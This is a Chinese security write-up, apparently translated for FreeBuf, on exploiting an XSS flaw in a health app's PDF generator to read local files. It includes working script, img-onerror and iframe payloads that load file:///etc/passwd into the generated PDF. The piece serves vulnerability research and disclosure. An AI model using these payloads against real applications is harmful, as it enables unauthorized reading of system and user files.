本文介绍了作者针对某安卓应用App中的PDF生成器进行测试,发现可以利用其中存在的XSS漏洞读取系统本地文件。
漏洞背景
测试目标为某健康管理APP,它可以被预装在安卓系统的移动设备中,且其文件系统是封闭不可被访问读取的。该APP设置了自定义启动器(custom launcher),用户无法更改其界面或访问其内置接口数据。所以在这里,由于利用XSS读取本地文件绕过了该APP本来的业务逻辑,算是一个比较严重的漏洞了。
XSS => LFI
虽然XSS漏洞比较常见,但要想在移动应用APP中发现XSS漏洞也不简单,而且我还是在其内置的PDF生成器(PDF generator)中发现了一个XSS。
由于该APP应用允许用户编辑自己的病历记录,然后保存为PDF打印,因此,我尝试在病历记录中加入了以下正常的HTML Payload,想看看它会否在PDF生成时触发XSS。
<h1>test</h1>test2
然后,在PDF生成过程中,该Payload被触发了,但这没啥大惊小怪的, 接下来我们要看看如何利用该XSS来破坏APP的逻辑。那就从读取本地文件数据下手吧,然后我构造了以下读取本地文件的代码:
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
测试之后,没啥显示的。接着,我又用<img>继续构造:
<img src=”xasdasdasd” onerror=”document.write(‘<iframe src=file:///etc/passwd></iframe>’)”/>
哪想到这一构造测试就直接把APP搞崩溃了,不知道是否用到了onerror或img标签才这样,那就来个简单的吧:
<script>document.write(‘<iframe src=file:///etc/passwd></iframe>’);</script>
哦,执行之后,在PDF生成时跳出了以下美妙画面:
技术参考
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
参考来源:dixitaditya,编译整理:clouds,转载请注明来自Freebuf.com
来源:freebuf.com 2020-10-23 08:40:02 by: clouds
请登录后发表评论
注册